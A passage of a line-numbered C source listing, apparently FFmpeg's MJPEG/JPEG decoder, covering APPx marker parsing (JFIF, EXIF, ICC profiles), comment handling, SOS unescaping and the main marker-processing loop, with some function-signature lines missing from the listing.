1793 align_get_bits(&bak);
1794 if (show_bits(&bak, 16) == 0xFFD1) {
1795 av_log(s->avctx, AV_LOG_DEBUG, "AVRn interlaced picture marker found\n");
1796 s->gb = bak;
1797 skip_bits(&s->gb, 16);
1798 s->bottom_field ^= 1;
1799
1800 goto next_field;
1801 }
1802 }
1803
1804 emms_c();
1805 return 0;
1806 out_of_range:
1807 av_log(s->avctx, AV_LOG_ERROR, "decode_sos: ac/dc index out of range\n");
1808 return AVERROR_INVALIDDATA;
1809 }
1810
1812 {
1813 if (get_bits(&s->gb, 16) != 4)
1814 return AVERROR_INVALIDDATA;
1815 s->restart_interval = get_bits(&s->gb, 16);
1816 s->restart_count = 0;
1817 av_log(s->avctx, AV_LOG_DEBUG, "restart interval: %d\n",
1818 s->restart_interval);
1819
1820 return 0;
1821 }
1822
1824 {
1825 int len, id, i;
1826
1827 len = get_bits(&s->gb, 16);
1828 if (len < 6) {
1829 if (s->bayer) {
1830 // Pentax K-1 (digital camera) JPEG images embedded in DNG images contain unknown APP0 markers
1831 av_log(s->avctx, AV_LOG_WARNING, "skipping APPx (len=%"PRId32") for bayer-encoded image\n", len);
1832 skip_bits(&s->gb, len);
1833 return 0;
1834 } else
1835 return AVERROR_INVALIDDATA;
1836 }
1837 if (8 * len > get_bits_left(&s->gb))
1838 return AVERROR_INVALIDDATA;
1839
1840 id = get_bits_long(&s->gb, 32);
1841 len -= 6;
1842
1843 if (s->avctx->debug & FF_DEBUG_STARTCODE)
1844 av_log(s->avctx, AV_LOG_DEBUG, "APPx (%s / %8X) len=%d\n",
1845 av_fourcc2str(av_bswap32(id)), id, len);
1846
1847 /* Buggy AVID, it puts EOI only at every 10th frame. */
1848 /* Also, this fourcc is used by non-avid files too, it holds some
1849 information, but it's always present in AVID-created files. */
1850 if (id == AV_RB32("AVI1")) {
1851 /* structure:
1852 4bytes AVI1
1853 1bytes polarity
1854 1bytes always zero
1855 4bytes field_size
1856 4bytes field_size_less_padding
1857 */
1858 s->buggy_avid = 1;
1859 i = get_bits(&s->gb, 8); len--;
1860 av_log(s->avctx, AV_LOG_DEBUG, "polarity %d\n", i);
1861 goto out;
1862 }
1863
1864 if (id == AV_RB32("JFIF")) {
1865 int t_w, t_h, v1, v2;
1866 if (len < 8)
1867 goto out;
1868 skip_bits(&s->gb, 8); /* the trailing zero-byte */
1869 v1 = get_bits(&s->gb, 8);
1870 v2 = get_bits(&s->gb, 8);
1871 skip_bits(&s->gb, 8);
1872
1873 s->avctx->sample_aspect_ratio.num = get_bits(&s->gb, 16);
1874 s->avctx->sample_aspect_ratio.den = get_bits(&s->gb, 16);
1875 if ( s->avctx->sample_aspect_ratio.num <= 0
1876 || s->avctx->sample_aspect_ratio.den <= 0) {
1877 s->avctx->sample_aspect_ratio.num = 0;
1878 s->avctx->sample_aspect_ratio.den = 1;
1879 }
1880
1881 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1882 av_log(s->avctx, AV_LOG_INFO,
1883 "mjpeg: JFIF header found (version: %x.%x) SAR=%d/%d\n",
1884 v1, v2,
1885 s->avctx->sample_aspect_ratio.num,
1886 s->avctx->sample_aspect_ratio.den);
1887
1888 len -= 8;
1889 if (len >= 2) {
1890 t_w = get_bits(&s->gb, 8);
1891 t_h = get_bits(&s->gb, 8);
1892 if (t_w && t_h) {
1893 /* skip thumbnail */
1894 if (len -10 - (t_w * t_h * 3) > 0)
1895 len -= t_w * t_h * 3;
1896 }
1897 len -= 2;
1898 }
1899 goto out;
1900 }
1901
1902 if ( id == AV_RB32("Adob")
1903 && len >= 7
1904 && show_bits(&s->gb, 8) == 'e'
1905 && show_bits_long(&s->gb, 32) != AV_RB32("e_CM")) {
1906 skip_bits(&s->gb, 8); /* 'e' */
1907 skip_bits(&s->gb, 16); /* version */
1908 skip_bits(&s->gb, 16); /* flags0 */
1909 skip_bits(&s->gb, 16); /* flags1 */
1910 s->adobe_transform = get_bits(&s->gb, 8);
1911 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1912 av_log(s->avctx, AV_LOG_INFO, "mjpeg: Adobe header found, transform=%d\n", s->adobe_transform);
1913 len -= 7;
1914 goto out;
1915 }
1916
1917 if (id == AV_RB32("LJIF")) {
1918 int rgb = s->rgb;
1919 int pegasus_rct = s->pegasus_rct;
1920 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1921 av_log(s->avctx, AV_LOG_INFO,
1922 "Pegasus lossless jpeg header found\n");
1923 skip_bits(&s->gb, 16); /* version ? */
1924 skip_bits(&s->gb, 16); /* unknown always 0? */
1925 skip_bits(&s->gb, 16); /* unknown always 0? */
1926 skip_bits(&s->gb, 16); /* unknown always 0? */
1927 switch (i=get_bits(&s->gb, 8)) {
1928 case 1:
1929 rgb = 1;
1930 pegasus_rct = 0;
1931 break;
1932 case 2:
1933 rgb = 1;
1934 pegasus_rct = 1;
1935 break;
1936 default:
1937 av_log(s->avctx, AV_LOG_ERROR, "unknown colorspace %d\n", i);
1938 }
1939
1940 len -= 9;
1941 if (s->got_picture)
1942 if (rgb != s->rgb || pegasus_rct != s->pegasus_rct) {
1943 av_log(s->avctx, AV_LOG_WARNING, "Mismatching LJIF tag\n");
1944 goto out;
1945 }
1946
1947 s->rgb = rgb;
1948 s->pegasus_rct = pegasus_rct;
1949
1950 goto out;
1951 }
1952 if (id == AV_RL32("colr") && len > 0) {
1953 s->colr = get_bits(&s->gb, 8);
1954 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1955 av_log(s->avctx, AV_LOG_INFO, "COLR %d\n", s->colr);
1956 len --;
1957 goto out;
1958 }
1959 if (id == AV_RL32("xfrm") && len > 0) {
1960 s->xfrm = get_bits(&s->gb, 8);
1961 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1962 av_log(s->avctx, AV_LOG_INFO, "XFRM %d\n", s->xfrm);
1963 len --;
1964 goto out;
1965 }
1966
1967 /* JPS extension by VRex */
1968 if (s->start_code == APP3 && id == AV_RB32("_JPS") && len >= 10) {
1969 int flags, layout, type;
1970 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1971 av_log(s->avctx, AV_LOG_INFO, "_JPSJPS_\n");
1972
1973 skip_bits(&s->gb, 32); len -= 4; /* JPS_ */
1974 skip_bits(&s->gb, 16); len -= 2; /* block length */
1975 skip_bits(&s->gb, 8); /* reserved */
1976 flags = get_bits(&s->gb, 8);
1977 layout = get_bits(&s->gb, 8);
1978 type = get_bits(&s->gb, 8);
1979 len -= 4;
1980
1981 av_freep(&s->stereo3d);
1982 s->stereo3d = av_stereo3d_alloc();
1983 if (!s->stereo3d) {
1984 goto out;
1985 }
1986 if (type == 0) {
1987 s->stereo3d->type = AV_STEREO3D_2D;
1988 } else if (type == 1) {
1989 switch (layout) {
1990 case 0x01:
1991 s->stereo3d->type = AV_STEREO3D_LINES;
1992 break;
1993 case 0x02:
1994 s->stereo3d->type = AV_STEREO3D_SIDEBYSIDE;
1995 break;
1996 case 0x03:
1997 s->stereo3d->type = AV_STEREO3D_TOPBOTTOM;
1998 break;
1999 }
2000 if (!(flags & 0x04)) {
2001 s->stereo3d->flags = AV_STEREO3D_FLAG_INVERT;
2002 }
2003 }
2004 goto out;
2005 }
2006
2007 /* EXIF metadata */
2008 if (s->start_code == APP1 && id == AV_RB32("Exif") && len >= 2) {
2009 GetByteContext gbytes;
2010 int ret, le, ifd_offset, bytes_read;
2011 const uint8_t *aligned;
2012
2013 skip_bits(&s->gb, 16); // skip padding
2014 len -= 2;
2015
2016 // init byte wise reading
2017 aligned = align_get_bits(&s->gb);
2018 bytestream2_init(&gbytes, aligned, len);
2019
2020 // read TIFF header
2021 ret = ff_tdecode_header(&gbytes, &le, &ifd_offset);
2022 if (ret) {
2023 av_log(s->avctx, AV_LOG_ERROR, "mjpeg: invalid TIFF header in EXIF data\n");
2024 } else {
2025 bytestream2_seek(&gbytes, ifd_offset, SEEK_SET);
2026
2027 // read 0th IFD and store the metadata
2028 // (return values > 0 indicate the presence of subimage metadata)
2029 ret = ff_exif_decode_ifd(s->avctx, &gbytes, le, 0, &s->exif_metadata);
2030 if (ret < 0) {
2031 av_log(s->avctx, AV_LOG_ERROR, "mjpeg: error decoding EXIF data\n");
2032 }
2033 }
2034
2035 bytes_read = bytestream2_tell(&gbytes);
2036 skip_bits(&s->gb, bytes_read << 3);
2037 len -= bytes_read;
2038
2039 goto out;
2040 }
2041
2042 /* Apple MJPEG-A */
2043 if ((s->start_code == APP1) && (len > (0x28 - 8))) {
2044 id = get_bits_long(&s->gb, 32);
2045 len -= 4;
2046 /* Apple MJPEG-A */
2047 if (id == AV_RB32("mjpg")) {
2048 /* structure:
2049 4bytes field size
2050 4bytes pad field size
2051 4bytes next off
2052 4bytes quant off
2053 4bytes huff off
2054 4bytes image off
2055 4bytes scan off
2056 4bytes data off
2057 */
2058 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
2059 av_log(s->avctx, AV_LOG_INFO, "mjpeg: Apple MJPEG-A header found\n");
2060 }
2061 }
2062
2063 if (s->start_code == APP2 && id == AV_RB32("ICC_") && len >= 10) {
2064 int id2;
2065 unsigned seqno;
2066 unsigned nummarkers;
2067
2068 id = get_bits_long(&s->gb, 32);
2069 id2 = get_bits(&s->gb, 24);
2070 len -= 7;
2071 if (id != AV_RB32("PROF") || id2 != AV_RB24("ILE")) {
2072 av_log(s->avctx, AV_LOG_WARNING, "Invalid ICC_PROFILE header in APP2\n");
2073 goto out;
2074 }
2075
2076 skip_bits(&s->gb, 8);
2077 seqno = get_bits(&s->gb, 8);
2078 len -= 2;
2079 if (seqno == 0) {
2080 av_log(s->avctx, AV_LOG_WARNING, "Invalid sequence number in APP2\n");
2081 goto out;
2082 }
2083
2084 nummarkers = get_bits(&s->gb, 8);
2085 len -= 1;
2086 if (nummarkers == 0) {
2087 av_log(s->avctx, AV_LOG_WARNING, "Invalid number of markers coded in APP2\n");
2088 goto out;
2089 } else if (s->iccnum != 0 && nummarkers != s->iccnum) {
2090 av_log(s->avctx, AV_LOG_WARNING, "Mistmatch in coded number of ICC markers between markers\n");
2091 goto out;
2092 } else if (seqno > nummarkers) {
2093 av_log(s->avctx, AV_LOG_WARNING, "Mismatching sequence number and coded number of ICC markers\n");
2094 goto out;
2095 }
2096
2097 /* Allocate if this is the first APP2 we've seen. */
2098 if (s->iccnum == 0) {
2099 if (!FF_ALLOCZ_TYPED_ARRAY(s->iccentries, nummarkers)) {
2100 av_log(s->avctx, AV_LOG_ERROR, "Could not allocate ICC data arrays\n");
2101 return AVERROR(ENOMEM);
2102 }
2103 s->iccnum = nummarkers;
2104 }
2105
2106 if (s->iccentries[seqno - 1].data) {
2107 av_log(s->avctx, AV_LOG_WARNING, "Duplicate ICC sequence number\n");
2108 goto out;
2109 }
2110
2111 s->iccentries[seqno - 1].length = len;
2112 s->iccentries[seqno - 1].data = av_malloc(len);
2113 if (!s->iccentries[seqno - 1].data) {
2114 av_log(s->avctx, AV_LOG_ERROR, "Could not allocate ICC data buffer\n");
2115 return AVERROR(ENOMEM);
2116 }
2117
2118 memcpy(s->iccentries[seqno - 1].data, align_get_bits(&s->gb), len);
2119 skip_bits(&s->gb, len << 3);
2120 len = 0;
2121 s->iccread++;
2122
2123 if (s->iccread > s->iccnum)
2124 av_log(s->avctx, AV_LOG_WARNING, "Read more ICC markers than are supposed to be coded\n");
2125 }
2126
2127 out:
2128 /* slow but needed for extreme adobe jpegs */
2129 if (len < 0)
2130 av_log(s->avctx, AV_LOG_ERROR,
2131 "mjpeg: error, decode_app parser read over the end\n");
2132 while (--len > 0)
2133 skip_bits(&s->gb, 8);
2134
2135 return 0;
2136 }
2137
2139 {
2140 int len = get_bits(&s->gb, 16);
2141 if (len >= 2 && 8 * len - 16 <= get_bits_left(&s->gb)) {
2142 int i;
2143 char *cbuf = av_malloc(len - 1);
2144 if (!cbuf)
2145 return AVERROR(ENOMEM);
2146
2147 for (i = 0; i < len - 2; i++)
2148 cbuf[i] = get_bits(&s->gb, 8);
2149 if (i > 0 && cbuf[i - 1] == '\n')
2150 cbuf[i - 1] = 0;
2151 else
2152 cbuf[i] = 0;
2153
2154 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
2155 av_log(s->avctx, AV_LOG_INFO, "comment: '%s'\n", cbuf);
2156
2157 /* buggy avid, it puts EOI only at every 10th frame */
2158 if (!strncmp(cbuf, "AVID", 4)) {
2159 parse_avid(s, cbuf, len);
2160 } else if (!strcmp(cbuf, "CS=ITU601"))
2161 s->cs_itu601 = 1;
2162 else if ((!strncmp(cbuf, "Intel(R) JPEG Library, version 1", 32) && s->avctx->codec_tag) ||
2163 (!strncmp(cbuf, "Metasoft MJPEG Codec", 20)))
2164 s->flipped = 1;
2165 else if (!strcmp(cbuf, "MULTISCOPE II")) {
2166 s->avctx->sample_aspect_ratio = (AVRational) { 1, 2 };
2167 s->multiscope = 2;
2168 }
2169
2170 av_free(cbuf);
2171 }
2172
2173 return 0;
2174 }
2175
2176 /* return the 8 bit start code value and update the search
2177 state. Return -1 if no start code found */
2178 static int find_marker(const uint8_t **pbuf_ptr, const uint8_t *buf_end)
2179 {
2180 const uint8_t *buf_ptr;
2181 unsigned int v, v2;
2182 int val;
2183 int skipped = 0;
2184
2185 buf_ptr = *pbuf_ptr;
2186 while (buf_end - buf_ptr > 1) {
2187 v = *buf_ptr++;
2188 v2 = *buf_ptr;
2189 if ((v == 0xff) && (v2 >= SOF0) && (v2 <= COM) && buf_ptr < buf_end) {
2190 val = *buf_ptr++;
2191 goto found;
2192 }
2193 skipped++;
2194 }
2195 buf_ptr = buf_end;
2196 val = -1;
2197 found:
2198 ff_dlog(NULL, "find_marker skipped %d bytes\n", skipped);
2199 *pbuf_ptr = buf_ptr;
2200 return val;
2201 }
2202
2204 const uint8_t **buf_ptr, const uint8_t *buf_end,
2205 const uint8_t **unescaped_buf_ptr,
2206 int *unescaped_buf_size)
2207 {
2208 int start_code;
2209 start_code = find_marker(buf_ptr, buf_end);
2210
2211 av_fast_padded_malloc(&s->buffer, &s->buffer_size, buf_end - *buf_ptr);
2212 if (!s->buffer)
2213 return AVERROR(ENOMEM);
2214
2215 /* unescape buffer of SOS, use special treatment for JPEG-LS */
2216 if (start_code == SOS && !s->ls) {
2217 const uint8_t *src = *buf_ptr;
2218 const uint8_t *ptr = src;
2219 uint8_t *dst = s->buffer;
2220
2221 #define copy_data_segment(skip) do { \
2222 ptrdiff_t length = (ptr - src) - (skip); \
2223 if (length > 0) { \
2224 memcpy(dst, src, length); \
2225 dst += length; \
2226 src = ptr; \
2227 } \
2228 } while (0)
2229
2230 if (s->avctx->codec_id == AV_CODEC_ID_THP) {
2231 ptr = buf_end;
2232 copy_data_segment(0);
2233 } else {
2234 while (ptr < buf_end) {
2235 uint8_t x = *(ptr++);
2236
2237 if (x == 0xff) {
2238 ptrdiff_t skip = 0;
2239 while (ptr < buf_end && x == 0xff) {
2240 x = *(ptr++);
2241 skip++;
2242 }
2243
2244 /* 0xFF, 0xFF, ... */
2245 if (skip > 1) {
2246 copy_data_segment(skip);
2247
2248 /* decrement src as it is equal to ptr after the
2249 * copy_data_segment macro and we might want to
2250 * copy the current value of x later on */
2251 src--;
2252 }
2253
2254 if (x < RST0 || x > RST7) {
2255 copy_data_segment(1);
2256 if (x)
2257 break;
2258 }
2259 }
2260 }
2261 if (src < ptr)
2262 copy_data_segment(0);
2263 }
2264 #undef copy_data_segment
2265
2266 *unescaped_buf_ptr = s->buffer;
2267 *unescaped_buf_size = dst - s->buffer;
2268 memset(s->buffer + *unescaped_buf_size, 0,
2270
2271 av_log(s->avctx, AV_LOG_DEBUG, "escaping removed %"PTRDIFF_SPECIFIER" bytes\n",
2272 (buf_end - *buf_ptr) - (dst - s->buffer));
2273 } else if (start_code == SOS && s->ls) {
2274 const uint8_t *src = *buf_ptr;
2275 uint8_t *dst = s->buffer;
2276 int bit_count = 0;
2277 int t = 0, b = 0;
2278 PutBitContext pb;
2279
2280 /* find marker */
2281 while (src + t < buf_end) {
2282 uint8_t x = src[t++];
2283 if (x == 0xff) {
2284 while ((src + t < buf_end) && x == 0xff)
2285 x = src[t++];
2286 if (x & 0x80) {
2287 t -= FFMIN(2, t);
2288 break;
2289 }
2290 }
2291 }
2292 bit_count = t * 8;
2293 init_put_bits(&pb, dst, t);
2294
2295 /* unescape bitstream */
2296 while (b < t) {
2297 uint8_t x = src[b++];
2298 put_bits(&pb, 8, x);
2299 if (x == 0xFF && b < t) {
2300 x = src[b++];
2301 if (x & 0x80) {
2302 av_log(s->avctx, AV_LOG_WARNING, "Invalid escape sequence\n");
2303 x &= 0x7f;
2304 }
2305 put_bits(&pb, 7, x);
2306 bit_count--;
2307 }
2308 }
2309 flush_put_bits(&pb);
2310
2311 *unescaped_buf_ptr = dst;
2312 *unescaped_buf_size = (bit_count + 7) >> 3;
2313 memset(s->buffer + *unescaped_buf_size, 0,
2315 } else {
2316 *unescaped_buf_ptr = *buf_ptr;
2317 *unescaped_buf_size = buf_end - *buf_ptr;
2318 }
2319
2320 return start_code;
2321 }
2322
2324 {
2325 int i;
2326
2327 if (s->iccentries) {
2328 for (i = 0; i < s->iccnum; i++)
2329 av_freep(&s->iccentries[i].data);
2330 av_freep(&s->iccentries);
2331 }
2332
2333 s->iccread = 0;
2334 s->iccnum = 0;
2335 }
2336
2337 // SMV JPEG just stacks several output frames into one JPEG picture
2338 // we handle that by setting up the cropping parameters appropriately
2340 {
2341 MJpegDecodeContext *s = avctx->priv_data;
2342 int ret;
2343
2344 if (s->smv_next_frame > 0) {
2345 av_assert0(s->smv_frame->buf[0]);
2347 ret = av_frame_ref(frame, s->smv_frame);
2348 if (ret < 0)
2349 return ret;
2350 } else {
2351 av_assert0(frame->buf[0]);
2352 av_frame_unref(s->smv_frame);
2353 ret = av_frame_ref(s->smv_frame, frame);
2354 if (ret < 0)
2355 return ret;
2356 }
2357
2358 av_assert0((s->smv_next_frame + 1) * avctx->height <= avctx->coded_height);
2359
2360 frame->width = avctx->coded_width;
2361 frame->height = avctx->coded_height;
2362 frame->crop_top = FFMIN(s->smv_next_frame * avctx->height, frame->height);
2363 frame->crop_bottom = frame->height - (s->smv_next_frame + 1) * avctx->height;
2364
2365 s->smv_next_frame = (s->smv_next_frame + 1) % s->smv_frames_per_jpeg;
2366
2367 if (s->smv_next_frame == 0)
2368 av_frame_unref(s->smv_frame);
2369
2370 return 0;
2371 }
2372
2374 {
2375 MJpegDecodeContext *s = avctx->priv_data;
2376 int ret;
2377
2378 av_packet_unref(s->pkt);
2379 ret = ff_decode_get_packet(avctx, s->pkt);
2380 if (ret < 0)
2381 return ret;
2382
2383 #if CONFIG_SP5X_DECODER || CONFIG_AMV_DECODER
2384 if (avctx->codec_id == AV_CODEC_ID_SP5X ||
2385 avctx->codec_id == AV_CODEC_ID_AMV) {
2386 ret = ff_sp5x_process_packet(avctx, s->pkt);
2387 if (ret < 0)
2388 return ret;
2389 }
2390 #endif
2391
2392 s->buf_size = s->pkt->size;
2393
2394 return 0;
2395 }
2396
2398 {
2399 MJpegDecodeContext *s = avctx->priv_data;
2400 const uint8_t *buf_end, *buf_ptr;
2401 const uint8_t *unescaped_buf_ptr;
2402 int hshift, vshift;
2403 int unescaped_buf_size;
2404 int start_code;
2405 int i, index;
2406 int ret = 0;
2407 int is16bit;
2408 AVDictionaryEntry *e = NULL;
2409
2410 s->force_pal8 = 0;
2411
2412 if (avctx->codec_id == AV_CODEC_ID_SMVJPEG && s->smv_next_frame > 0)
2413 return smv_process_frame(avctx, frame);
2414
2415 av_dict_free(&s->exif_metadata);
2416 av_freep(&s->stereo3d);
2417 s->adobe_transform = -1;
2418
2419 if (s->iccnum != 0)
2421
2422 ret = mjpeg_get_packet(avctx);
2423 if (ret < 0)
2424 return ret;
2425 redo_for_pal8:
2426 buf_ptr = s->pkt->data;
2427 buf_end = s->pkt->data + s->pkt->size;
2428 while (buf_ptr < buf_end) {
2429 /* find start next marker */
2430 start_code = ff_mjpeg_find_marker(s, &buf_ptr, buf_end,
2431 &unescaped_buf_ptr,
2432 &unescaped_buf_size);
2433 /* EOF */
2434 if (start_code < 0) {
2435 break;
2436 } else if (unescaped_buf_size > INT_MAX / 8) {
2437 av_log(avctx, AV_LOG_ERROR,
2438 "MJPEG packet 0x%x too big (%d/%d), corrupt data?\n",
2439 start_code, unescaped_buf_size, s->pkt->size);
2440 return AVERROR_INVALIDDATA;
2441 }
2442 av_log(avctx, AV_LOG_DEBUG, "marker=%x avail_size_in_buf=%"PTRDIFF_SPECIFIER"\n",
2443 start_code, buf_end - buf_ptr);
2444
2445 ret = init_get_bits8(&s->gb, unescaped_buf_ptr, unescaped_buf_size);
2446
2447 if (ret < 0) {
2448 av_log(avctx, AV_LOG_ERROR, "invalid buffer\n");
2449 goto fail;
2450 }
2451
2452 s->start_code = start_code;
2453 if (s->avctx->debug & FF_DEBUG_STARTCODE)
2454 av_log(avctx, AV_LOG_DEBUG, "startcode: %X\n", start_code);
2455
2456 /* process markers */
2457 if (start_code >= RST0 && start_code <= RST7) {
2458 av_log(avctx, AV_LOG_DEBUG,
2459 "restart marker: %d\n", start_code & 0x0f);
2460 /* APP fields */
2461 } else if (start_code >= APP0 && start_code <= APP15) {
2462 if ((ret = mjpeg_decode_app(s)) < 0)
2463 av_log(avctx, AV_LOG_ERROR, "unable to decode APP fields: %s\n",
2464 av_err2str(ret));
2465 /* Comment */
2466 } else if (start_code == COM) {
2467 ret = mjpeg_decode_com(s);
2468 if (ret < 0)
2469 return ret;
2470 } else if (start_code == DQT) {
2472 if (ret < 0)
2473 return ret;
2474 }
2475
2476 ret = -1;
2477
2478 if (!CONFIG_JPEGLS_DECODER &&
2479 (start_code == SOF48 || start_code == LSE)) {
2480 av_log(avctx, AV_LOG_ERROR, "JPEG-LS support not enabled.\n");
2481 return AVERROR(ENOSYS);
2482 }
2483
2484 if (avctx->skip_frame == AVDISCARD_ALL) {
2485 switch(start_code) {
2486 case SOF0:
2487 case SOF1:
2488 case SOF2:
2489 case SOF3:
2490 case SOF48:
2491 case SOI:
2492 case SOS:
2493 case EOI:
2494 break;
2495 default:
2496 goto skip;
2497 }
2498 }
2499
2500 switch (start_code) {
2501 case SOI:
2502 s->restart_interval = 0;
2503 s->restart_count = 0;
2504 s->raw_image_buffer = buf_ptr;
2505 s->raw_image_buffer_size = buf_end - buf_ptr;
2506 /* nothing to do on SOI */
2507 break;
2508 case DHT:
2509 if ((ret = ff_mjpeg_decode_dht(s)) < 0) {
2510 av_log(avctx, AV_LOG_ERROR, "huffman table decode error\n");
2511 goto fail;
2512 }
2513 break;
2514 case SOF0:
2515 case SOF1:
2516 if (start_code == SOF0)
2517 s->avctx->profile = FF_PROFILE_MJPEG_HUFFMAN_BASELINE_DCT;
2518 else
2520 s->lossless = 0;
2521 s->ls = 0;
2522 s->progressive = 0;
2523 if ((ret = ff_mjpeg_decode_sof(s)) < 0)
2524 goto fail;
2525 break;
2526 case SOF2:
2527 s->avctx->profile = FF_PROFILE_MJPEG_HUFFMAN_PROGRESSIVE_DCT;
2528 s->lossless = 0;
2529 s->ls = 0;
2530 s->progressive = 1;
2531 if ((ret = ff_mjpeg_decode_sof(s)) < 0)
2532 goto fail;
2533 break;
2534 case SOF3:
2535 s->avctx->profile = FF_PROFILE_MJPEG_HUFFMAN_LOSSLESS;
2536 s->avctx->properties |= FF_CODEC_PROPERTY_LOSSLESS;
2537 s->lossless = 1;
2538 s->ls = 0;
2539 s->progressive = 0;
2540 if ((ret = ff_mjpeg_decode_sof(s)) < 0)
2541 goto fail;
2542 break;
2543 case SOF48:
2544 s->avctx->profile = FF_PROFILE_MJPEG_JPEG_LS;
2545 s->avctx->properties |= FF_CODEC_PROPERTY_LOSSLESS;
2546 s->lossless = 1;
2547 s->ls = 1;
2548 s->progressive = 0;
2549 if ((ret = ff_mjpeg_decode_sof(s)) < 0)
2550 goto fail;
2551 break;
2552 case LSE:
2553 if (!CONFIG_JPEGLS_DECODER ||
2554 (ret = ff_jpegls_decode_lse(s)) < 0)
2555 goto fail;
2556 if (ret == 1)
2557 goto redo_for_pal8;
2558 break;
2559 case EOI:
2560 eoi_parser:
2561 if (!avctx->hwaccel && avctx->skip_frame != AVDISCARD_ALL &&
2562 s->progressive && s->cur_scan && s->got_picture)
2564 s->cur_scan = 0;
2565 if (!s->got_picture) {
2566 av_log(avctx, AV_LOG_WARNING,
2567 "Found EOI before any SOF, ignoring\n");
2568 break;
2569 }
2570 if (s->interlaced) {
2571 s->bottom_field ^= 1;
2572 /* if not bottom field, do not output image yet */
2573 if (s->bottom_field == !s->interlace_polarity)
2574 break;
2575 }
2576 if (avctx->skip_frame == AVDISCARD_ALL) {
2577 s->got_picture = 0;
2578 ret = AVERROR(EAGAIN);
2579 goto the_end_no_picture;
2580 }
2581 if (s->avctx->hwaccel) {
2582 ret = s->avctx->hwaccel->end_frame(s->avctx);
2583 if (ret < 0)
2584 return ret;
2585
2586 av_freep(&s->hwaccel_picture_private);
2587 }
2588 if ((ret = av_frame_ref(frame, s->picture_ptr)) < 0)
2589 return ret;
2590 s->got_picture = 0;
2591
2592 frame->pkt_dts = s->pkt->dts;
2593
2594 if (!s->lossless && avctx->debug & FF_DEBUG_QP) {
2595 int qp = FFMAX3(s->qscale[0],
2596 s->qscale[1],
2597 s->qscale[2]);
2598
2599 av_log(avctx, AV_LOG_DEBUG, "QP: %d\n", qp);
2600 }
2601
2602 goto the_end;
2603 case SOS:
2604 s->raw_scan_buffer = buf_ptr;
2605 s->raw_scan_buffer_size = buf_end - buf_ptr;
2606
2607 s->cur_scan++;
2608 if (avctx->skip_frame == AVDISCARD_ALL) {
2609 skip_bits(&s->gb, get_bits_left(&s->gb));
2610 break;
2611 }
2612
2613 if ((ret = ff_mjpeg_decode_sos(s, NULL, 0, NULL)) < 0 &&
2614 (avctx->err_recognition & AV_EF_EXPLODE))
2615 goto fail;
2616 break;
2617 case DRI:
2618 if ((ret = mjpeg_decode_dri(s)) < 0)
2619 return ret;
2620 break;
2621 case SOF5:
2622 case SOF6:
2623 case SOF7:
2624 case SOF9:
2625 case SOF10:
2626 case SOF11:
2627 case SOF13:
2628 case SOF14:
2629 case SOF15:
2630 case JPG:
2631 av_log(avctx, AV_LOG_ERROR,
2632 "mjpeg: unsupported coding type (%x)\n", start_code);
2633 break;
2634 }
2635
2636 skip:
2637 /* eof process start code */
2638 buf_ptr += (get_bits_count(&s->gb) + 7) / 8;
2639 av_log(avctx, AV_LOG_DEBUG,
2640 "marker parser used %d bytes (%d bits)\n",
2641 (get_bits_count(&s->gb) + 7) / 8, get_bits_count(&s->gb));
2642 }
2643 if (s->got_picture && s->cur_scan) {
2644 av_log(avctx, AV_LOG_WARNING, "EOI missing, emulating\n");
2645 goto eoi_parser;
2646 }
2647 av_log(avctx, AV_LOG_FATAL, "No JPEG data found in image\n");
2648 return AVERROR_INVALIDDATA;
2649 fail:
2650 s->got_picture = 0;
2651 return ret;
2652 the_end:
2653
2654 is16bit = av_pix_fmt_desc_get(s->avctx->pix_fmt)->comp[0].step > 1;
2655
2656 if (AV_RB32(s->upscale_h)) {
2657 int p;
2659 avctx->pix_fmt == AV_PIX_FMT_YUV444P ||
2660 avctx->pix_fmt == AV_PIX_FMT_YUVJ440P ||
2661 avctx->pix_fmt == AV_PIX_FMT_YUV440P ||
2662 avctx->pix_fmt == AV_PIX_FMT_YUVA444P ||
2663 avctx->pix_fmt == AV_PIX_FMT_YUVJ420P ||
2664 avctx->pix_fmt == AV_PIX_FMT_YUV420P ||
2665 avctx->pix_fmt == AV_PIX_FMT_YUV420P16||
2666 avctx->pix_fmt == AV_PIX_FMT_YUVA420P ||
2667 avctx->pix_fmt == AV_PIX_FMT_YUVA420P16||
2668 avctx->pix_fmt == AV_PIX_FMT_GBRP ||
2669 avctx->pix_fmt == AV_PIX_FMT_GBRAP
2670 );
2671 ret = av_pix_fmt_get_chroma_sub_sample(s->avctx->pix_fmt, &hshift, &vshift);
2672 if (ret)
2673 return ret;
2674
2675 av_assert0(s->nb_components == av_pix_fmt_count_planes(s->picture_ptr->format));
2676 for (p = 0; p<s->nb_components; p++) {
2677 uint8_t *line = s->picture_ptr->data[p];
2678 int w = s->width;
2679 int h = s->height;
2680 if (!s->upscale_h[p])
2681 continue;
2682 if (p==1 || p==2) {
2683 w = AV_CEIL_RSHIFT(w, hshift);
2684 h = AV_CEIL_RSHIFT(h, vshift);
2685 }
2686 if (s->upscale_v[p] == 1)
2687 h = (h+1)>>1;
2688 av_assert0(w > 0);
2689 for (i = 0; i < h; i++) {
2690 if (s->upscale_h[p] == 1) {
2691 if (is16bit) ((uint16_t*)line)[w - 1] = ((uint16_t*)line)[(w - 1) / 2];
2692 else line[w - 1] = line[(w - 1) / 2];
2693 for (index = w - 2; index > 0; index--) {
2694 if (is16bit)
2695 ((uint16_t*)line)[index] = (((uint16_t*)line)[index / 2] + ((uint16_t*)line)[(index + 1) / 2]) >> 1;
2696 else
2697 line[index] = (line[index / 2] + line[(index + 1) / 2]) >> 1;
2698 }
2699 } else if (s->upscale_h[p] == 2) {
2700 if (is16bit) {
2701 ((uint16_t*)line)[w - 1] = ((uint16_t*)line)[(w - 1) / 3];
2702 if (w > 1)
2703 ((uint16_t*)line)[w - 2] = ((uint16_t*)line)[w - 1];
2704 } else {
2705 line[w - 1] = line[(w - 1) / 3];
2706 if (w > 1)
2707 line[w - 2] = line[w - 1];
2708 }
2709 for (index = w - 3; index > 0; index--) {
2710 line[index] = (line[index / 3] + line[(index + 1) / 3] + line[(index + 2) / 3] + 1) / 3;
2711 }
2712 }
2713 line += s->linesize[p];
2714 }
2715 }
2716 }
2717 if (AV_RB32(s->upscale_v)) {
